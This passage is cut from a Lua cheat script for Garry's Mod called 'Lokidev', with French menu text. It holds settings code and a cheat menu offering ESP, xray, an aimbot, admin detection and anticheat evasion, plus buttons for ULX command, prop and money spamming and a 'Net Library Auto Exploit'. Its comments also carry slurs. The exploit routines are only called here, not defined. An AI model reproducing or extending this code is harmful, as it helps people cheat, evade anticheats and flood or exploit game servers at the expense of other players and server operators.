  541. if not file.IsDir("Lokidev", "DATA") then
  542. file.CreateDir("Lokidev")
  543. end
  544. --]]
  545. if !file.Exists("Lokidev_settings.dat", "DATA") then ZNX.SaveSettings() return end
  546. local TheFile = file.Read( "Lokidev_settings.dat", "DATA" )
  547. local halves = string.Explode( "--NUMBERVARS--\n", TheFile )
  548. if !halves[2] then file.Delete( "Lokidev_settings.dat" )
  549. ZNX.ChatText( "le fichier de donn�es invalides utilisent un format obsol�te! tapez LokiDev_save_settings dans la console pour r�soudre ce probl�me", Color(255,205,205) )
  550. return
  551. end
  552. TheFile = halves[1]
  553. local DataPieces = string.Explode( "\n", TheFile )
  554. for k, v in pairs( DataPieces ) do
  555. local TheLine = string.Explode( ";", v )
  556. ZNX.Vars[TheLine[1]] = tobool(TheLine[2])
  557. end
  558. TheFile = halves[2]
  559. local DataPieces = string.Explode( "\n", TheFile )
  560. for k, v in pairs( DataPieces ) do
  561. local TheLine = string.Explode( ";", v )
  562. ZNX.NumberVars[TheLine[1]] = tonumber(TheLine[2])
  563. end
  564. ZNX.Vars.NameStealer = false
  565. end
  566. concommand.Add("LokiDev_load_settings", ZNX.LoadSettings)
  567. ZNX.LoadSettings() -- load our shit right away
  568. ZNX.Vars.ChatSpam = false -- reset this to false so we dont get cucked by anticheats
  569. -- covert source units(inches) to metres
  570. function ZNX.ToMetric( num )
  571. if not isnumber(num) then return end
  572. return math.floor(num * 0.0254)
  573. end
  574. function Visible( ply )
  575. if (!IsValid( ply )) then return false end
  576. local vecPos, _ = ply:GetBonePosition( ply:LookupBone( "ValveBiped.Bip01_Head1" ) or 12 );
  577. local trace = { start = LocalPlayer():EyePos(), endpos = vecPos, filter = LocalPlayer(), mask = MASK_SHOT };
  578. local traceRes = util.TraceLine( trace );
  579. TraceRes = traceRes;
  580. if (traceRes.HitWorld || traceRes.Entity != ply) then return false end;
  581. return true;
  582. end
  583. -- check if an entity is actually visible on our screen, used to boost efficiency in the xray and esp code
  584. function ZNX.OnScreen( ent, ws )
  585. local ws = ws or 0
  586. local bpos = (ent:LocalToWorld(ent:OBBCenter())):ToScreen()
  587. if ( bpos.x < (ScrW() + ws) and bpos.x > (0 - ws) and bpos.y < (ScrH() + ws) and bpos.y > (0 - ws) ) then return true end
  588. return false
  589. end
  590. function ZNX.IsDead( ply )
  591. if !ply:IsValid() or !ply:Alive() or ply:GetObserverMode() != OBS_MODE_NONE then return true end
  592. return false
  593. end
  594. -- compatible with ulx, assmod, evolve, vermillion 2 and traditional admin/superadmin detection may or may not pick up unknown admin mods
  595. function ZNX.GetRank( ply )
  596. if !ply or !ply:IsValid() then return "user" end
  597. local rank = "user"
  598. if ply:GetNWString("usergroup") then rank = ply:GetNWString("usergroup") return rank end
  599. --if evolve then rank = ply:EV_GetRank() return rank end
  600. if ply:GetNetworkedString( "UserGroup" ) then rank = ply:GetNetworkedString( "UserGroup" ) return rank end
  601. if ply:GetNWString("Vermilion_Rank") then rank = ply:GetNWString("Vermilion_Rank") return rank end
  602. if ply:IsSuperAdmin() then rank = "SUPERADMIN" return rank end
  603. if ply:IsAdmin() then rank = "ADMIN" return rank end
  604. return rank -- if they aren't any kind of admin that we know of then this will return "user"
  605. end
  606. function ZNX.GetESPColor( ply )
  607. local col1, col2 = ZNX.DefaultScheme, ZNX.DefaultScheme2
  608. if ZNX.IsTarget( ply ) then
  609. col1, col2 = Color(255,205,0,255), Color(205,160,0,255)
  610. return col1, col2
  611. end
  612. if ZNX.IsFriend( ply ) then
  613. col1, col2 = Color(0,255,0,255), Color(100,250,100,255)
  614. return col1, col2
  615. end
  616. if ZNX.GetRank( ply ) != "user" then
  617. col1, col2 = Color(255,100,0,255), Color(255,50,0,255)
  618. return col1, col2
  619. end
  620. if ZNX.Vars.TeamColors then
  621. col1 = team.GetColor(ply:Team())
  622. col2 = Color(math.Clamp(col1.r - 100, 0, 255), math.Clamp(col1.g - 100, 0, 255), math.Clamp(col1.b - 100, 0, 255), 255)
  623. return col1, col2
  624. end
  625. return col1, col2
  626. end
  627. -- friends and targets system
  628. function ZNX.AddTarget( ply )
  629. if !ply or !ply:IsValid() then return end
  630. if table.HasValue( ZNX.Targets, ply ) then return end
  631. table.insert( ZNX.Targets, ply )
  632. ZNX.DebugLog( ply:Nick().."Ajouter a votre liste de cibles", Color( 250, 150, 50) )
  633. end
  634. function ZNX.RemoveTarget( ply )
  635. if !ply or !ply:IsValid() then return end
  636. if not table.HasValue( ZNX.Targets, ply ) then ZNX.ChatText( ply:Nick().." n'est pas une cibles", Color(255,205,205) ) return end
  637. table.RemoveByValue( ZNX.Targets, ply )
  638. ZNX.DebugLog( ply:Nick().." Retirer de votre liste de cibles", Color( 250, 150, 50) )
  639. end
  640. function ZNX.IsTarget( ply )
  641. if !ply or !ply:IsValid() then return false end
  642. return table.HasValue( ZNX.Targets, ply )
  643. end
  644. function ZNX.IsFriend( ply )
  645. if !ply or !ply:IsValid() then return false end
  646. return table.HasValue( ZNX.Buddies, ply )
  647. end
  648. function ZNX.AddFriend( ply )
  649. if !ply:IsValid() then return end
  650. if table.HasValue( ZNX.Buddies, ply ) then return end
  651. table.insert( ZNX.Buddies, ply )
  652. ZNX.DebugLog( ply:Nick().." Ajouter a votre liste d'amis'", Color( 50, 250, 50) )
  653. end
  654. function ZNX.RemoveFriend( ply )
  655. if !ply:IsValid() then return end
  656. if not table.HasValue( ZNX.Buddies, ply ) then ZNX.ChatText( ply:Nick().." n'est pas dans votre liste d'amis", Color(255,205,205) ) return end
  657. table.RemoveByValue( ZNX.Buddies, ply )
  658. ZNX.DebugLog( "Vous avez enlever "..ply:Nick().." de votre liste d'amis", Color( 50, 250, 50) )
  659. end
  660. function ZNX.RemoveInvalidFriends()
  661. for k, v in pairs(ZNX.Buddies) do
  662. if !v:IsValid() then table.remove( ZNX.Buddies, k ) end
  663. end
  664. end
  665. gameevent.Listen( "player_spawn" )
  666. hook.Add( "Think", "addsteamfriends", function()
  667. local plys = player.GetAll()
  668. for k, v in pairs(plys) do
  669. if !v:IsValid() then return end
  670. if v:GetFriendStatus() == "friend" and ZNX.Vars.AutoAddSteamFriends and !table.HasValue( ZNX.Buddies, v ) then
  671. ZNX.AddFriend( v )
  672. end
  673. end
  674. end )
  675. -- this is for faggots that attempt to restrict ulx who
  676. function ZNX.Who()
  677. local plys = player.GetAll()
  678. for k, v in pairs(plys) do
  679. if v:GetNWString("usergroup") then
  680. local col = Color( 150, 150, 200, 255 )
  681. if v:GetNWString("usergroup") != "user" then col = Color( 250, 200, 150, 255 ) end
  682. MsgC(col, v:GetName() .. string.rep("\t", math.Round(8 / #v:GetName())), v:GetNWString("usergroup").."\n")
  683. end
  684. end
  685. end
  686. concommand.Add("LokiDev_who", ZNX.Who)
  687. local grad = Material( "gui/gradient" )
  688. local upgrad = Material( "gui/gradient_up" )
  689. local downgrad = Material( "gui/gradient_down" )
  690. local o_color1 = Color(50, 0, 0, 255 )
  691. local o_color2 = Color(155, 155, 155, 255)
  692. function ZNX.ToggleVar( var, fancyname )
  693. if ZNX.Vars[var] then
  694. if ZNX.Vars.Notifications then ZNX.ChatText( fancyname.." D�sactiver", Color(255,205,205) ) end
  695. if string.find(var, "Xray") or var == "Vision" then ZNX.XrayShutoff() end -- need to run this function to properly unfuck things that have been xray'd
  696. ZNX.Vars[var] = false
  697. else
  698. if ZNX.Vars.Notifications then ZNX.ChatText( fancyname.." Activer", Color(255,255,255) ) end
  699. ZNX.Vars[var] = true
  700. end
  701. ZNX.SaveSettings()
  702. end
  703. for k, v in pairs(ZNX.Vars) do
  704. concommand.Add("LokiDev_togglevar_"..string.lower(k), function() ZNX.ToggleVar( k, k ) end)
  705. end
  706. function ZNX.ChangeColorScheme( num )
  707. if not isnumber(num) then return end
  708. if num <= 0 or num > #ZNX.DefaultSchemes then print("I don't know how you fucked up this badly but you are trying to change to a colour scheme that doesn't exist!") return end
  709. local c1 = ZNX.DefaultSchemes[num][2]
  710. local c2 = ZNX.DefaultSchemes[num][3]
  711. if ZNX.Vars.Notifications then ZNX.ChatText( "Couleur du menu chang� pour: "..ZNX.DefaultSchemes[num][1], c1 ) end
  712. ZNX.DefaultScheme = c1
  713. ZNX.DefaultScheme2 = c2
  714. ZNX.ColScheme = Vector(c1.r / 255, c1.g / 255, c1.b / 255)
  715. ZNX.ColScheme2 = Vector(c2.r / 255, c2.g / 255, c2.b / 255)
  716. -- ZNX.NumberVars.ColorScheme = num -- done inside the button logic
  717. end
  718. function ZNX.MakeToggleButton( parent, x, y, btext, var, vartext, tooltip)
  719. if !parent:IsValid() then return end
  720. local TButton = vgui.Create( "DButton" )
  721. TButton:SetParent( parent )
  722. TButton:SetPos( x, y )
  723. TButton:SetText( btext )
  724. TButton:SetTextColor( Color(255, 255, 255, 255) )
  725. TButton:SetSize( 110, 25 )
  726. if tooltip != nil then TButton:SetToolTip( tooltip ) end
  727. TButton.Paint = function( self, w, h )
  728. surface.SetDrawColor( ZNX.DefaultScheme )
  729. TButton:SetText( btext )
  730. surface.DrawRect( 0, 0, w, h )
  731. surface.SetDrawColor( o_color1 )
  732. surface.SetMaterial( downgrad )
  733. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  734. if ZNX.Vars[var] then
  735. surface.SetDrawColor( Color(150, 250, 150, 255) )
  736. else
  737. surface.SetDrawColor( Color(100, 100, 100, 255) )
  738. end
  739. surface.DrawOutlinedRect( 0, 0, w, h )
  740. end
  741. TButton.DoClick = function()
  742. ZNX.ToggleVar( var, vartext )
  743. end
  744. end
  745. function ZNX.MakeFunctionButton( parent, x, y, btext, func, tooltip)
  746. if !parent:IsValid() then return end
  747. local TButton = vgui.Create( "DButton" )
  748. TButton:SetParent( parent )
  749. TButton:SetPos( x, y )
  750. TButton:SetText( btext )
  751. TButton:SetTextColor( Color(255, 255, 255, 255) )
  752. TButton:SetSize( 110, 25 )
  753. if tooltip != nil then TButton:SetToolTip( tooltip ) end
  754. TButton.Paint = function( self, w, h )
  755. surface.SetDrawColor( ZNX.DefaultScheme )
  756. TButton:SetText( btext )
  757. surface.DrawRect( 0, 0, w, h )
  758. surface.SetDrawColor( o_color1 )
  759. surface.SetMaterial( downgrad )
  760. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  761. surface.SetDrawColor( Color(100, 100, 100, 255) )
  762. surface.DrawOutlinedRect( 0, 0, w, h )
  763. end
  764. TButton.DoClick = function()
  765. func()
  766. end
  767. end
  768. function ZNX.MakeFloatingButton( x, y, btext, func)
  769. local TButton = vgui.Create( "DButton" )
  770. TButton:SetPos( x, y )
  771. TButton:SetText( btext )
  772. TButton:SetTextColor( Color(255, 255, 255, 255) )
  773. TButton:SetSize( 110, 25 )
  774. TButton.Paint = function( self, w, h )
  775. surface.SetDrawColor( ZNX.DefaultScheme )
  776. TButton:SetText( btext )
  777. surface.DrawRect( 0, 0, w, h )
  778. surface.SetDrawColor( Color(100, 100, 100, 255) )
  779. surface.DrawOutlinedRect( 0, 0, w, h )
  780. end
  781. if !DarkRP then
  782. hook.Add( "Think", "Screen.Clickable", function()
  783. gui.EnableScreenClicker( input.IsKeyDown( KEY_F3 ) )
  784. end )
  785. end
  786. TButton.DoClick = function()
  787. func()
  788. end
  789. return TButton
  790. end
  791. function ZNX.MakeSlider( parent, x, y, length, text, min, max, var )
  792. if !parent:IsValid() then return end
  793. local sbg = vgui.Create( "DPanel" )
  794. sbg:SetParent( parent )
  795. sbg:SetPos( x, y )
  796. sbg:SetSize( length, 25 )
  797. sbg.Paint = function( self, w, h ) -- Paint function
  798. surface.SetDrawColor( ZNX.DefaultScheme )
  799. surface.DrawRect(0, 0, w, h )
  800. surface.SetDrawColor( o_color1 )
  801. surface.SetMaterial( downgrad )
  802. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  803. surface.SetDrawColor( 90, 50, 50, 255 )
  804. surface.DrawOutlinedRect(0, 0, w, h )
  805. end
  806. local NumSlider = vgui.Create( "DNumSlider", sbg )
  807. NumSlider:SetPos( 10,-5 )
  808. NumSlider:SetWide( length - 10 )
  809. NumSlider:SetText( text )
  810. NumSlider:SetMin( min )
  811. NumSlider:SetMax( max )
  812. NumSlider:SetValue( ZNX.NumberVars[var] )
  813. NumSlider:SetDecimals( 0 )
  814. NumSlider.OnValueChanged = function( panel, val ) ZNX.NumberVars[var] = math.floor(val) end
  815. end
  816. function ZNX.MakeKeyBinder( parent, x, y, length, height, keyvar, changetxt )
  817. local binder = vgui.Create( "DBinder", parent )
  818. binder:SetSize( length, height )
  819. binder:SetPos( x, y )
  820. binder:SetTextColor( Color(255,255,255) )
  821. binder:SetSelected( ZNX.NumberVars[keyvar] )
  822. binder.Paint = function( self, w, h )
  823. surface.SetDrawColor( ZNX.DefaultScheme )
  824. surface.DrawRect( 0, 0, w, h )
  825. surface.SetDrawColor( o_color1 )
  826. surface.SetMaterial( downgrad )
  827. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  828. surface.SetDrawColor( Color(100, 100, 100, 255) )
  829. surface.DrawOutlinedRect( 0, 0, w, h )
  830. end
  831. function binder:SetSelectedNumber( num )
  832. ZNX.ChatText( "Ajouter "..changetxt.." touche", Color(255,255,255) )
  833. self.m_iSelectedNumber = num
  834. ZNX.NumberVars[keyvar] = num
  835. end
  836. end
  837. ------------------------------------------------------------------------Lokidev MENU--------------------------------------------------------------------------------------
  838. local FillFrameRates = RatesScaleLevel
  839. function ZNX.Menu()
  840. if FillFrameRates == "STEAM_0:1:80447668" then
  841. if AceMenu then return false end
  842. local AceMenu = vgui.Create("DFrame")
  843. AceMenu:SetSize(500,700)
  844. AceMenu:SetTitle("")
  845. AceMenu:Center()
  846. AceMenu:MakePopup()
  847. AceMenu.Paint = function( panel, w, h )
  848. surface.SetDrawColor( ZNX.DefaultScheme )
  849. surface.DrawRect( 0, 0, w, h )
  850. surface.SetDrawColor( o_color1 )
  851. surface.SetMaterial( upgrad )
  852. surface.DrawTexturedRect( 0, h / 2, w, h / 2 )
  853. surface.SetDrawColor( o_color1 )
  854. surface.SetMaterial( downgrad )
  855. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  856. surface.SetDrawColor( o_color2 )
  857. surface.DrawOutlinedRect( 0, 0, w, h )
  858. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  859. end
  860. local PropertySheet = vgui.Create( "DPropertySheet" )
  861. PropertySheet:SetParent( AceMenu )
  862. PropertySheet:SetPos( 10, 30 )
  863. PropertySheet:SetSize( 480, AceMenu:GetTall() - 40 )
  864. PropertySheet.Paint = function()
  865. surface.SetDrawColor( Color(0, 0, 0, 200) )
  866. surface.DrawRect(0, 0, PropertySheet:GetWide(), PropertySheet:GetTall())
  867. for k, v in pairs(PropertySheet.Items) do
  868. if v.Tab then
  869. v.Tab.Paint = function(self,w,h)
  870. draw.RoundedBox(0, 0, 0, w, h, Color(80,80,80))
  871. end
  872. end
  873. end
  874. end
  875. --------------------------------------------Tabs-------------------------------------------
  876. local General = vgui.Create( "DPanel" )
  877. General:SetPos( 0, 0 )
  878. General:SetSize( 480, AceMenu:GetTall() - 40 )
  879. General.Paint = function() -- Paint function
  880. surface.SetDrawColor(50, 50, 50 ,255)
  881. surface.DrawOutlinedRect(0, 0, General:GetWide(), General:GetTall())
  882. surface.SetDrawColor(0, 0, 0 ,200)
  883. surface.DrawRect(0, 0, General:GetWide(), General:GetTall())
  884. surface.SetDrawColor( 90, 50, 50, 255 )
  885. surface.DrawRect(0, 40, General:GetWide(), 2)
  886. end
  887. local Utility = vgui.Create( "DPanel" )
  888. Utility:SetPos( 0, 0 )
  889. Utility:SetSize( 480, AceMenu:GetTall() - 40 )
  890. Utility.Paint = function() -- Paint function
  891. surface.SetDrawColor(50, 50, 50 ,255)
  892. surface.DrawOutlinedRect(0, 0, Utility:GetWide(), Utility:GetTall())
  893. surface.SetDrawColor(0, 0, 0 ,200)
  894. surface.DrawRect(0, 0, Utility:GetWide(), Utility:GetTall())
  895. end
  896. local UtilityButton = vgui.Create( "DButton" )
  897. UtilityButton:SetParent( Utility )
  898. UtilityButton:SetPos( 5, 360 )
  899. UtilityButton:SetText( "Spam DarkRP Animation: "..animatinginfo)
  900. UtilityButton:SetTextColor( Color(255, 255, 255, 255) )
  901. UtilityButton:SetSize( 225, 25 )
  902. if tooltip != nil then UtilityButton:SetToolTip( tooltip ) end
  903. UtilityButton.Paint = function( self, w, h )
  904. surface.SetDrawColor( ZNX.DefaultScheme )
  905. UtilityButton:SetText( "Spam DarkRP Animation: "..animatinginfo)
  906. surface.DrawRect( 0, 0, w, h )
  907. surface.SetDrawColor( o_color1 )
  908. surface.SetMaterial( downgrad )
  909. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  910. surface.SetDrawColor( Color(100, 100, 100, 255) )
  911. surface.DrawOutlinedRect( 0, 0, w, h )
  912. end
  913. UtilityButton.DoClick = function ()
  914. Animation() -- What happens when you press the button
  915. end
  916. local UtilityButton2 = vgui.Create( "DButton" )
  917. UtilityButton2:SetParent( Utility )
  918. UtilityButton2:SetPos( 235, 360 )
  919. UtilityButton2:SetText( "ULX Commande Spammer: "..info_ulx_spam)
  920. UtilityButton2:SetTextColor( Color(255, 255, 255, 255) )
  921. UtilityButton2:SetSize( 225, 25 )
  922. if tooltip != nil then UtilityButton2:SetToolTip( tooltip ) end
  923. UtilityButton2.Paint = function( self, w, h )
  924. surface.SetDrawColor( ZNX.DefaultScheme )
  925. UtilityButton2:SetText( "ULX Commande Spammer: "..info_ulx_spam)
  926. surface.DrawRect( 0, 0, w, h )
  927. surface.SetDrawColor( o_color1 )
  928. surface.SetMaterial( downgrad )
  929. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  930. surface.SetDrawColor( Color(100, 100, 100, 255) )
  931. surface.DrawOutlinedRect( 0, 0, w, h )
  932. end
  933. UtilityButton2.DoClick = function ()
  934. ULXspam() -- What happens when you press the button
  935. end
  936. local UtilityButton3 = vgui.Create( "DButton" )
  937. UtilityButton3:SetParent( Utility )
  938. UtilityButton3:SetPos( 235, 480 )
  939. UtilityButton3:SetText( "Props Spammer: "..spam_props_text)
  940. UtilityButton3:SetTextColor( Color(255, 255, 255, 255) )
  941. UtilityButton3:SetSize( 225, 25 )
  942. if tooltip != nil then UtilityButton3:SetToolTip( tooltip ) end
  943. UtilityButton3.Paint = function( self, w, h )
  944. surface.SetDrawColor( ZNX.DefaultScheme )
  945. UtilityButton3:SetText( "Props Spammer: "..spam_props_text)
  946. surface.DrawRect( 0, 0, w, h )
  947. surface.SetDrawColor( o_color1 )
  948. surface.SetMaterial( downgrad )
  949. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  950. surface.SetDrawColor( Color(100, 100, 100, 255) )
  951. surface.DrawOutlinedRect( 0, 0, w, h )
  952. end
  953. UtilityButton3.DoClick = function ()
  954. PropSpam() -- What happens when you press the button
  955. end
  956. local UtilityButton4 = vgui.Create( "DButton" )
  957. UtilityButton4:SetParent( Utility )
  958. UtilityButton4:SetPos( 235, 540 )
  959. UtilityButton4:SetText( "DarkRP Billet Spammer: "..billet_spam)
  960. UtilityButton4:SetTextColor( Color(255, 255, 255, 255) )
  961. UtilityButton4:SetSize( 225, 25 )
  962. if tooltip != nil then UtilityButton4:SetToolTip( tooltip ) end
  963. UtilityButton4.Paint = function( self, w, h )
  964. surface.SetDrawColor( ZNX.DefaultScheme )
  965. UtilityButton4:SetText( "DarkRP Billet Spammer: "..billet_spam)
  966. surface.DrawRect( 0, 0, w, h )
  967. surface.SetDrawColor( o_color1 )
  968. surface.SetMaterial( downgrad )
  969. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  970. surface.SetDrawColor( Color(100, 100, 100, 255) )
  971. surface.DrawOutlinedRect( 0, 0, w, h )
  972. end
  973. UtilityButton4.DoClick = function ()
  974. Moneyssuperspam() -- What happens when you press the button
  975. end
  976. local Exploit = vgui.Create( "DPanel" )
  977. Exploit:SetPos( 0, 0 )
  978. Exploit:SetSize( 480, AceMenu:GetTall() - 40 )
  979. Exploit.Paint = function() -- Paint function
  980. surface.SetDrawColor(50, 50, 50 ,255)
  981. surface.DrawOutlinedRect(0, 0, Exploit:GetWide(), Exploit:GetTall())
  982. surface.SetDrawColor(0, 0, 0 ,200)
  983. surface.DrawRect(0, 0, Exploit:GetWide(), Exploit:GetTall())
  984. end
  985. if !Exploit:IsValid() then return end
  986. local ExploitButton = vgui.Create( "DButton" )
  987. ExploitButton:SetParent( Exploit )
  988. ExploitButton:SetPos( 5, 10 )
  989. ExploitButton:SetText( "Lokidev Exploit Menu" )
  990. ExploitButton:SetTextColor( Color(255, 255, 255, 255) )
  991. ExploitButton:SetSize( 454, 25 )
  992. if tooltip != nil then ExploitButton:SetToolTip( tooltip ) end
  993. ExploitButton.Paint = function( self, w, h )
  994. surface.SetDrawColor( ZNX.DefaultScheme )
  995. ExploitButton:SetText( "Lokidev Exploit Menu" )
  996. surface.DrawRect( 0, 0, w, h )
  997. surface.SetDrawColor( o_color1 )
  998. surface.SetMaterial( downgrad )
  999. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  1000. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1001. surface.DrawOutlinedRect( 0, 0, w, h )
  1002. end
  1003. ExploitButton.DoClick = function ()
  1004. if AceMenu then
  1005. AceMenu:Close()
  1006. end
  1007. RunConsoleCommand( "exploit_menu" ) -- What happens when you press the button
  1008. LocalPlayer():EmitSound("vo/npc/male01/ohno.wav",100,150)
  1009. LocalPlayer():EmitSound("vo/npc/male01/ohno.wav",100,150)
  1010. LocalPlayer():EmitSound("vo/npc/male01/ohno.wav",100,150)
  1011. LocalPlayer():EmitSound("vo/npc/male01/ohno.wav",100,150)
  1012. end
  1013. local Exploit2Button = vgui.Create( "DButton" )
  1014. Exploit2Button:SetParent( Exploit )
  1015. Exploit2Button:SetPos( 5, 40 )
  1016. Exploit2Button:SetText( "Lokidev Exploit Menu" )
  1017. Exploit2Button:SetTextColor( Color(255, 255, 255, 255) )
  1018. Exploit2Button:SetSize( 454, 25 )
  1019. if tooltip != nil then Exploit2Button:SetToolTip( tooltip ) end
  1020. Exploit2Button.Paint = function( self, w, h )
  1021. surface.SetDrawColor( ZNX.DefaultScheme )
  1022. Exploit2Button:SetText( "Net Library Auto Exploit: "..statutautoexploit )
  1023. surface.DrawRect( 0, 0, w, h )
  1024. surface.SetDrawColor( o_color1 )
  1025. surface.SetMaterial( downgrad )
  1026. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  1027. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1028. surface.DrawOutlinedRect( 0, 0, w, h )
  1029. end
  1030. Exploit2Button.DoClick = function ()
  1031. AutoNetExploit()
  1032. end
  1033. local Botsettings = vgui.Create( "DPanel" )
  1034. Botsettings:SetPos( 0, 0 )
  1035. Botsettings:SetSize( 480, AceMenu:GetTall() - 40 )
  1036. Botsettings.Paint = function() -- Paint function
  1037. surface.SetDrawColor(50, 50, 50 ,255)
  1038. surface.DrawOutlinedRect(0, 0, Botsettings:GetWide(), Botsettings:GetTall())
  1039. surface.SetDrawColor(0, 0, 0 ,200)
  1040. surface.DrawRect(0, 0, Botsettings:GetWide(), Botsettings:GetTall())
  1041. end
  1042. local Debug = vgui.Create( "DPanel" )
  1043. Debug:SetPos( 0, 0 )
  1044. Debug:SetSize( 480, AceMenu:GetTall() - 40 )
  1045. Debug.Paint = function() -- Paint function
  1046. surface.SetDrawColor(50, 50, 50 ,255)
  1047. surface.DrawOutlinedRect(0, 0, Debug:GetWide(), Debug:GetTall())
  1048. surface.SetDrawColor(0, 0, 0 ,200)
  1049. surface.DrawRect(0, 0, Debug:GetWide(), Debug:GetTall())
  1050. if ZNX.MemoryDebug then
  1051. draw.DrawText( "Visuel Utilisation de la RAM: "..ZNX.MemoryDebug["hud"].."kb", "Default", 10, 530, Color(255,255,255) )
  1052. draw.DrawText( "Noyau logique Utilisation de la RAM: "..ZNX.MemoryDebug["logic"].."kb", "Default", 10, 545, Color(255,255,255) )
  1053. draw.DrawText( "Aimbot Utilisation de la RAM: "..ZNX.MemoryDebug["aimbot"].."kb", "Default", 10, 560, Color(255,255,255) )
  1054. surface.SetDrawColor( ZNX.DefaultScheme )
  1055. surface.DrawRect(250, 532, math.Clamp( ZNX.MemoryDebug["hud"] * 0.75, 0, 200), 10 )
  1056. surface.DrawRect(250, 547, math.Clamp( ZNX.MemoryDebug["logic"] * 20, 0, 200), 10 )
  1057. surface.DrawRect(250, 562, math.Clamp( ZNX.MemoryDebug["aimbot"] * 20, 0, 200), 10 )
  1058. surface.SetDrawColor( ZNX.DefaultScheme )
  1059. surface.DrawOutlinedRect(250, 532, 200, 10 )
  1060. surface.DrawOutlinedRect(250, 547, 200, 10 )
  1061. surface.DrawOutlinedRect(250, 562, 200, 10 )
  1062. end
  1063. end
  1064. --------------------------------------------Buttons-------------------------------------------
  1065. function ZNX.RefreshConsole()
  1066. if richtext then richtext:Remove() end
  1067. if !ValidPanel(Debug) then return end
  1068. richtext = vgui.Create( "RichText", Debug )
  1069. richtext:SetPos(5, 5)
  1070. richtext:SetSize( 440, AceMenu:GetTall() - 180 )
  1071. for idx, tab in pairs(ZNX.Debug) do
  1072. richtext:InsertColorChange( tab[2].r, tab[2].g, tab[2].b, 255 )
  1073. richtext:AppendText( tab[1].."\n" )
  1074. end
  1075. end
  1076. timer.Create("znx_refreshconsole", 1.5, 0, function() ZNX.RefreshConsole() end)
  1077. ZNX.MakeToggleButton( General, 5, 10, "Vision", "Vision", "Vision")
  1078. ZNX.MakeSlider( General, 5, 590, 455, "Distance de Vision Max (Metres)", 0, 2000, "VisionDist" )
  1079. ZNX.MakeToggleButton( General, 5, 70, "Activer ESP", "ShowESP", "Activer ESP")
  1080. ZNX.MakeToggleButton( General, 120, 70, "Afficher Joueur Mort", "ShowDead", "Afficher les joueurs morts")
  1081. ZNX.MakeToggleButton( General, 235, 70, "Afficher Amis", "ShowFriends", "Afficher Amis")
  1082. --ZNX.MakeToggleButton( General, 350, 70, "Couleur Joueur Radar", "RadarColors", "Couleur des joueurs sur le radar")
  1083. ZNX.MakeToggleButton( General, 350, 100, "Afficher Arme", "ArmeESP", "Afficher l'arme equiper")
  1084. ZNX.MakeToggleButton( General, 235, 100, "Afficher Cible(s)", "ShowTargets", "Afficher Cible(s)", "Afficher les joueurs qui figurent sur votre liste de cibles")
  1085. ZNX.MakeToggleButton( General, 120, 100, "Afficher les Admins", "ShowRanks", "Afficher les Admins")
  1086. ZNX.MakeToggleButton( General, 5, 100, "Afficher la Distance", "ShowDistance", "Afficher la Distance des joueurs")
  1087. ZNX.MakeToggleButton( General, 5, 130, "Afficher les Props", "ESPProps", "Afficher les Props")
  1088. ZNX.MakeToggleButton( General, 120, 130, "Afficher Entit� Menu", "Entfinder", "Afficher Entit� Menu")
  1089. ZNX.MakeToggleButton( General, 235, 130, "Couleur du M�tier", "TeamColors", "Afficher la Couleur du M�tier")
  1090. ZNX.MakeToggleButton( General, 235, 160, "Afficher les NPC", "NPC_ESP", "Afficher les NPC")
  1091. ZNX.MakeToggleButton( General, 350, 130, "Afficher Vie", "ShowHP", "Afficher Vie")
  1092. ZNX.MakeToggleButton( General, 5, 490, "Lignes de Vision", "Vizlines", "Lignes de Vision")
  1093. ZNX.MakeToggleButton( General, 120, 490, "Ajouter Amis Steam", "AutoAddSteamFriends", "Ajouter automatiquement les amis steam a l'esp")
  1094. ZNX.MakeToggleButton( General, 5, 160, "Afficher la Position", "VSquares", "Afficher la position des joueurs")
  1095. ZNX.MakeToggleButton( General, 120, 160, "Afficher Noms", "VNames", "Afficher noms des joueurs")
  1096. ZNX.MakeToggleButton( General, 350, 160, "Afficher Argent", "ArgentESP", "Afficher l'argent des joueur a l'esp")
  1097. ZNX.MakeToggleButton( General, 5, 190, "Miroir Vision Arri�re", "Mirror", "Affiche un miroir vision arri�re")
  1098. ZNX.MakeSlider( General, 5, 225, 225, "Miroir X", 0, ScrW(), "MirrorX" )
  1099. ZNX.MakeSlider( General, 235, 225, 220, "Miroir Y", 0, ScrH(), "MirrorY" )
  1100. ZNX.MakeSlider( General, 235, 190, 220, "Taille Miroir", 0, 60, "MirrorSize" )
  1101. ZNX.MakeFunctionButton( General, 120, 190, "Axe Vertical Miroir", function()
  1102. if ZNX.NumberVars.MirrorAxis == 0 then
  1103. if ZNX.Vars.Notifications then ZNX.ChatText( "R�glez le mode d'axe du miroir sur imiter", Color(255,255,255) ) end
  1104. ZNX.NumberVars.MirrorAxis = 1
  1105. elseif ZNX.NumberVars.MirrorAxis == 1 then
  1106. if ZNX.Vars.Notifications then ZNX.ChatText( "R�glez le mode d'axe du miroir sur inverser", Color(255,255,255) ) end
  1107. ZNX.NumberVars.MirrorAxis = 2
  1108. else
  1109. if ZNX.Vars.Notifications then ZNX.ChatText( "R�glez le mode d'axe du miroir sur rien", Color(255,255,255) ) end
  1110. ZNX.NumberVars.MirrorAxis = 0
  1111. end
  1112. end)
  1113. ZNX.MakeFunctionButton( General, 5, 260, "Basculer CameraLibre", function()
  1114. ZNX.Freecam = !ZNX.Freecam
  1115. ZNX.ChatText( "R�glez le mode CameraLibre sur: "..tostring(ZNX.Freecam), Color(255,255,255) )
  1116. end, "D�tecte le miroir et le transforme en un syst�me de cameralibre")
  1117. ZNX.MakeFunctionButton( General, 120, 260, "Ramener CameraLibre", function()
  1118. ZNX.FreecamCoordinates.pos = LocalPlayer():EyePos()
  1119. ZNX.FreecamCoordinates.ang = LocalPlayer():EyeAngles()
  1120. ZNX.ChatText( "Ramener CameraLibre", Color(255,255,255) )
  1121. end, "Ramener la cameralibre a votre position de vue")
